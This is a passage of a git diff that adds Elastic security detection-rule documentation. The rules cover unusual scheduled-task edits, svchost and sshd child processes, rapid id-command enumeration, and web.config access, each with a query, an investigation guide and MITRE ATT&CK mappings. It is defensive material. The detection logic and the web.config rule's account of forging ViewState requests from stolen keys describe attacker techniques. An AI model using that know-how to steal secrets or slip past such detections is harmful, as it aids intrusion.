https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-scheduled-task-update.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-scheduled-task-update.asciidoc new file mode 100644 index 0000000000..5c061fb4ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-scheduled-task-update.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-unusual-scheduled-task-update]] +=== Unusual Scheduled Task Update + +Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Scheduled Task Update* + + +Scheduled tasks in Windows environments automate routine tasks, but adversaries can exploit them for persistence by modifying tasks to execute malicious code. The detection rule identifies first-time task modifications by non-system users, flagging potential unauthorized changes. By excluding known system accounts, it focuses on suspicious user activity, aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the event logs for event code 4702 to identify the specific scheduled task that was modified and the user account responsible for the change. +- Investigate the user account involved in the modification to determine if it is a legitimate user or potentially compromised. Check for any recent unusual activity associated with this account. +- Examine the details of the modified scheduled task, including the command or script it is set to execute, to assess if it is potentially malicious or unauthorized. +- Cross-reference the scheduled task's modification time with other security events or logs to identify any correlated suspicious activities or anomalies. +- Check the history of the scheduled task to determine if this is the first modification or if there have been previous changes that might indicate a pattern of unauthorized access. + + +*False positive analysis* + + +- Scheduled task modifications by IT administrators performing routine maintenance can trigger alerts. To manage this, create exceptions for known administrator accounts that regularly update tasks. +- Software updates or installations by trusted applications may modify scheduled tasks. Identify these applications and exclude their associated user accounts or processes from the rule. +- Automated scripts or management tools that modify tasks as part of their normal operation can be mistaken for suspicious activity. Document these tools and exclude their activity from detection. +- Temporary user accounts used for specific projects or tasks might modify scheduled tasks. If these accounts are verified and trusted, consider excluding them from the rule during their active period. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized scheduled task modifications or potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the modified scheduled task to halt any ongoing malicious activity. +- Review the modified scheduled task details, including the command or script being executed, and remove or disable any malicious components identified. +- Reset the credentials of the user account involved in the modification to prevent further unauthorized access, and investigate for any signs of credential compromise. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Implement additional monitoring and alerting for scheduled task modifications across the environment to enhance detection of similar threats in the future. + + +==== Setup + + + +*Setup* + + +Audit Other Object Access Events must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-other-object-access-events + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: "iam" and host.os.type:"windows" and event.code: "4702" and + not winlog.event_data.SubjectUserSid : ("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and + not user.name : *$ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-service-host-child-process-childless-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-service-host-child-process-childless-service.asciidoc new file mode 100644 index 0000000000..6dc277be4c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-service-host-child-process-childless-service.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-unusual-service-host-child-process-childless-service]] +=== Unusual Service Host Child Process - Childless Service + +Identifies unusual child processes of Service Host (svchost.exe) that traditionally do not spawn any child processes. This may indicate a code injection or an equivalent form of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Service Host Child Process - Childless Service* + + +Service Host (svchost.exe) is a critical Windows process that hosts multiple services to optimize resource usage. Typically, certain services under svchost.exe do not spawn child processes. Adversaries exploit this by injecting malicious code to execute unauthorized processes, evading detection. The detection rule identifies anomalies by monitoring child processes of traditionally childless services, flagging potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the process details of the child process, including its name and executable path, to determine if it is a known legitimate process or potentially malicious. +- Examine the parent process arguments to confirm if the svchost.exe instance is associated with a service that traditionally does not spawn child processes, as listed in the query. +- Check the process creation time and correlate it with any other suspicious activities or alerts in the system around the same timeframe. +- Investigate the user account under which the child process was executed to assess if it has the necessary privileges and if the activity aligns with typical user behavior. +- Analyze any network connections or file modifications made by the child process to identify potential malicious actions or data exfiltration attempts. +- Cross-reference the child process with known false positives listed in the query to rule out benign activities. +- Utilize threat intelligence sources to determine if the child process or its executable path is associated with known malware or attack patterns. + + +*False positive analysis* + + +- Processes like WerFault.exe, WerFaultSecure.exe, and wermgr.exe are known to be legitimate Windows error reporting tools that may occasionally be spawned by svchost.exe. To handle these, add them to the exclusion list in the detection rule to prevent unnecessary alerts. +- RelPost.exe associated with WdiSystemHost can be a legitimate process in certain environments. If this is a common occurrence, consider adding an exception for this executable when it is spawned by WdiSystemHost. +- Rundll32.exe executing winethc.dll with ForceProxyDetectionOnNextRun arguments under WdiServiceHost may be a benign operation in some network configurations. If verified as non-malicious, exclude this specific process and argument combination. +- Processes under the imgsvc service, such as lexexe.exe from Kodak directories, might be legitimate in environments using specific imaging software. Validate these occurrences and exclude them if they are confirmed to be non-threatening. +- Regularly review and update the exclusion list to ensure it reflects the current environment and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious child processes spawned by svchost.exe that are not typically associated with legitimate operations, as identified in the alert. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any injected malicious code or associated malware. +- Review and analyze the process tree and parent-child relationships to understand the scope of the compromise and identify any additional affected processes or systems. +- Restore the affected system from a known good backup if malicious activity is confirmed and cannot be fully remediated through cleaning. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for svchost.exe and related processes to detect similar anomalies in the future, ensuring that alerts are configured to notify the appropriate personnel promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "svchost.exe" and + + /* based on svchost service arguments -s svcname where the service is known to be childless */ + process.parent.args : ( + "WdiSystemHost", "LicenseManager", "StorSvc", "CDPSvc", "cdbhsvc", "BthAvctpSvc", "SstpSvc", "WdiServiceHost", + "imgsvc", "TrkWks", "WpnService", "IKEEXT", "PolicyAgent", "CryptSvc", "netprofm", "ProfSvc", "StateRepository", + "camsvc", "LanmanWorkstation", "NlaSvc", "EventLog", "hidserv", "DisplayEnhancementService", "ShellHWDetection", + "AppHostSvc", "fhsvc", "CscService", "PushToInstall" + ) and + + /* unknown FPs can be added here */ + not process.name : ("WerFault.exe", "WerFaultSecure.exe", "wermgr.exe") and + not (process.executable : "?:\\Windows\\System32\\RelPost.exe" and process.parent.args : "WdiSystemHost") and + not ( + process.name : "rundll32.exe" and + process.args : "?:\\WINDOWS\\System32\\winethc.dll,ForceProxyDetectionOnNextRun" and + process.parent.args : "WdiServiceHost" + ) and + not ( + process.executable : ( + "?:\\Program Files\\*", + "?:\\Program Files (x86)\\*", + "?:\\Windows\\System32\\Kodak\\kds_?????\\lib\\lexexe.exe" + ) and process.parent.args : "imgsvc" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-sshd-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-sshd-child-process.asciidoc new file mode 100644 index 0000000000..b25b8b27c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-sshd-child-process.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-unusual-sshd-child-process]] +=== Unusual SSHD Child Process + +This rule detects the creation of an unusual SSHD child process through the usage of the "new_terms" rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hadess.io/the-art-of-linux-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual SSHD Child Process* + + +Secure Shell (SSH) is a protocol used to securely access remote systems. Adversaries may exploit SSH to maintain persistence or create backdoors by spawning unexpected child processes. The detection rule identifies anomalies by monitoring process creation events where SSH or SSHD is the parent, focusing on atypical command-line arguments, which may indicate malicious activity. + + +*Possible investigation steps* + + +- Review the process command line arguments for the unusual SSHD child process to identify any suspicious or unexpected commands that could indicate malicious activity. +- Check the user account associated with the SSHD child process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations. +- Investigate the parent process (SSH or SSHD) to understand the context of the connection, including the source IP address and any associated user activity, to assess if it aligns with expected behavior. +- Examine the process tree to identify any subsequent processes spawned by the unusual SSHD child process, which may provide further insight into the attacker's actions or objectives. +- Correlate the event with other security logs and alerts from the same host or network segment to identify any related suspicious activities or patterns that could indicate a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tools may trigger this rule if they execute commands with SSH or SSHD as the parent process. To handle this, identify and document these scripts, then create exceptions for their specific command-line patterns. +- System maintenance tasks or updates that involve SSH connections might appear as unusual child processes. Regularly review and whitelist these known maintenance activities to prevent unnecessary alerts. +- Custom user environments or shell configurations that deviate from standard shells like bash, zsh, or sh could be flagged. Analyze these configurations and exclude them if they are verified as non-threatening. +- Monitoring tools or security solutions that interact with SSH sessions for logging or auditing purposes might generate alerts. Verify these tools' behavior and exclude their processes if they are part of legitimate monitoring activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious SSHD child processes identified by the alert to halt potential malicious activities. +- Conduct a thorough review of SSH configuration files and access logs to identify unauthorized changes or access patterns, and revert any unauthorized modifications. +- Change all SSH keys and credentials associated with the compromised system to prevent further unauthorized access. +- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts to re-establish persistence. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Review and update firewall rules and access controls to restrict SSH access to only trusted IP addresses and users, reducing the attack surface for future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:(exec or ProcessRollup2) and +process.parent.name:sshd and process.args_count:2 and process.parent.args:"-D" and +not ( + process.command_line:(-bash or -zsh or -sh) or + process.name:(ractrans or exectask or tty or tput or ferny-askpass or id or ip) or + process.executable:/var/tmp/foreman-ssh-cmd*/script +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-user-privilege-enumeration-via-id.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-user-privilege-enumeration-via-id.asciidoc new file mode 100644 index 0000000000..79c0f601c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-user-privilege-enumeration-via-id.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-unusual-user-privilege-enumeration-via-id]] +=== Unusual User Privilege Enumeration via id + +This rule monitors for a sequence of 20 "id" command executions within 1 second by the same parent process. This behavior is unusual, and may be indicative of the execution of an enumeration script such as LinPEAS or LinEnum. These scripts leverage the "id" command to enumerate the privileges of all users present on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual User Privilege Enumeration via id* + + +The `id` command in Linux environments is used to display user identity information, including user and group IDs. Adversaries may exploit this command in enumeration scripts to gather extensive user privilege data rapidly, which can aid in lateral movement or privilege escalation. The detection rule identifies suspicious activity by flagging rapid, repeated executions of the `id` command, suggesting potential misuse by scripts like LinPEAS or LinEnum. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the suspicious activity. +- Examine the parent process of the 'id' command executions to determine if it is a known or legitimate process, and check for any unusual or unexpected parent process names or arguments. +- Investigate the timeline of events on the affected host around the time of the alert to identify any other suspicious activities or related processes that may indicate a broader attack or script execution. +- Check the user account associated with the process executions to verify if it has legitimate access and if there are any signs of compromise or misuse. +- Look for any additional indicators of compromise on the host, such as unauthorized file modifications, network connections, or other unusual command executions, to assess the scope of potential malicious activity. + + +*False positive analysis* + + +- System management scripts or automated tasks may execute the id command frequently for legitimate purposes. Review the parent process to determine if it is a known management tool or script. +- Software installation or update processes might trigger the rule if they use the id command to verify user permissions. Consider excluding processes with parent names like rpm or similar package managers. +- Custom scripts developed in-house for system monitoring or auditing could inadvertently match the rule's criteria. Identify these scripts and add exceptions for their parent process entity IDs. +- Security tools or compliance checks that perform regular user enumeration might cause false positives. Verify the source of these tools and exclude them if they are part of a trusted security suite. +- In environments with high user account turnover, scripts that manage user accounts might execute the id command in rapid succession. Evaluate these scripts and exclude them if they are part of routine account management. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the parent process identified in the alert to halt further enumeration activities. +- Conduct a thorough review of the parent process and its associated scripts to determine if they are legitimate or malicious. +- If malicious activity is confirmed, perform a comprehensive scan of the system for additional indicators of compromise, such as unauthorized user accounts or altered system files. +- Reset credentials for any user accounts that may have been exposed or compromised during the enumeration activity. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. +- Implement enhanced monitoring and logging for similar enumeration activities to improve detection and response capabilities for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "id" and process.args_count == 2 and + not ( + process.parent.name in ("rpm", "snarftmp", "quota_copy", "java") or + process.parent.args like ( + "/var/tmp/rpm-tmp*", "/tmp/netdata-kickstart.sh", "./k8s-certifikator.sh", "/usr/local/bin/docker-entrypoint.sh", + "./set_quota.sh" + ) or + (process.parent.name == "java" and process.args == "oracle") + )] with runs=20 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-web-config-file-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-web-config-file-access.asciidoc new file mode 100644 index 0000000000..4146513415 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-web-config-file-access.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-unusual-web-config-file-access]] +=== Unusual Web Config File Access + +Detects unusual access to the web.config file, which contains sensitive credential information such as database connection strings, machineKey validation/decryption keys, and SAML/OAuth token settings. Attackers can use the information extracted to forge malicious __VIEWSTATE requests for persistent RCE on the web server or pivot to the SQL server using exposed connection strings. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Web Config File Access* + + + +*Possible investigation steps* + + +- What process opened which "web.config" path, and what secrets could it expose? + - Why: IIS, SharePoint, federation, or shared application configs can expose connection strings, MachineKey validation/decryption keys, and OAuth/SAML settings for ViewState forgery or credential pivots. + - Focus: `file.path`, `process.entity_id`, `process.executable`, `user.id`, and `host.id`. + - Implication: escalate when `file.path` points to SharePoint, federation, shared application, database-connected app, or another high-value IIS root; lower suspicion only when asset inventory or owner confirmation verifies a non-sensitive test path and later endpoint evidence stays inside that exact workflow. + +- Is the reader a recognized maintenance component or an anomalous binary? + - Focus: `process.executable`, `process.command_line`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.parent.executable`. + - Implication: escalate when the reader is unsigned, user-writable, renamed, or launched by a shell, script host, web worker, or remote-admin chain; lower suspicion when signer, path, command line, and parent match one recognized deployment, backup, scan, or web-maintenance component. Identity alone does not clear the read. + +- Do the account and lineage fit application maintenance on this host? + - Focus: `user.id`, `user.name`, `process.parent.executable`, and `process.Ext.ancestry`. + - Implication: escalate when the account lacks a web-admin, service, deployment, backup, or response role, the service identity is unexpected, or the parent is a shell, script host, web worker, or remote-admin tool; lower suspicion when identity, parent, and ancestry match one recognized workflow. + +- Did the same process enumerate or stage config secrets beyond one bounded read? + - Focus: same-process file events by `host.id` and `process.entity_id`: `event.action`, `file.path`, and `file.Ext.original.path`; look for sibling "web.config", "applicationHost.config", backup or copied configs, script output, web-shell files, or archives. !{investigate{"description":"","label":"File events for the same process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process walks multiple site roots, opens server-wide config, reads backups, or writes collection/web-shell artifacts; lower suspicion when file activity stays inside one expected application path with no copy, archive, or helper-file staging. + +- Did direct child process activity show extraction, staging, or attempted use of exposed secrets? + - Why: shell or encoded PowerShell chains can collect config contents, extract MachineKey material, or stage a web shell. + - Focus: direct child process events on `host.id` where `process.parent.entity_id` matches `process.entity_id`: `process.executable`, `process.command_line`, and `process.parent.executable`. !{investigate{"description":"","label":"Direct child process events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: expand manually from direct children into deeper descendants or the recovered process tree. + - Implication: escalate when children or descendants include "cmd.exe", PowerShell, archive tools, database clients, web-shell writers, or commands referencing MachineKey, validation keys, decryption keys, config copies, or archive staging; absent child events lower immediate-use concern only if the reader, path, and file pattern are already bounded. + +- If local evidence is suspicious or unresolved, does endpoint telemetry show broader config access or staging by the same user or host? + - Focus: same-`user.id` file events with `file.path` values showing additional config reads, copied configs, script output, web-shell files, or archives. !{investigate{"description":"","label":"File events for the same user","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user identity is shared or sparse, review same-`host.id` and `user.id` process events: `process.executable`, `process.command_line`, and `process.Ext.ancestry`. !{investigate{"description":"","label":"Process events for the same host and user","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope when either view shows additional config reads, collection artifacts, staged scripts, or suspicious administration around the read window; keep the case local only when broader endpoint telemetry shows no additional staging and local evidence fits one exact workflow. + +- Escalate when path, reader identity, lineage, same-process file behavior, child/descendant behavior, or related alerts indicate unauthorized config access or secret staging; close only when path, process, user/session, lineage, and same-process file evidence bind to one recognized maintenance, deployment, backup, or response workflow and outside confirmation verifies legitimacy telemetry cannot prove; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- AV/EDR products may open web.config during scans. Confirm trusted-signed AV binary, SYSTEM or service account, and no same-process config copy, archive, or staging. +- Deployment, backup, scanning, or IR workflows can open web.config. Confirm `process.executable`, signer, parent, `file.path`, `user.id`, and `host.id` align with one workflow, with no config copy, archive, web-shell, shell descendants, or broader enumeration. Do not close on historical similarity alone. +- Build exceptions from `process.executable`, signer, parent, exact `file.path` root, `user.id`, and `host.id`. Avoid exceptions on "web.config" or host alone. For this new-terms rule, 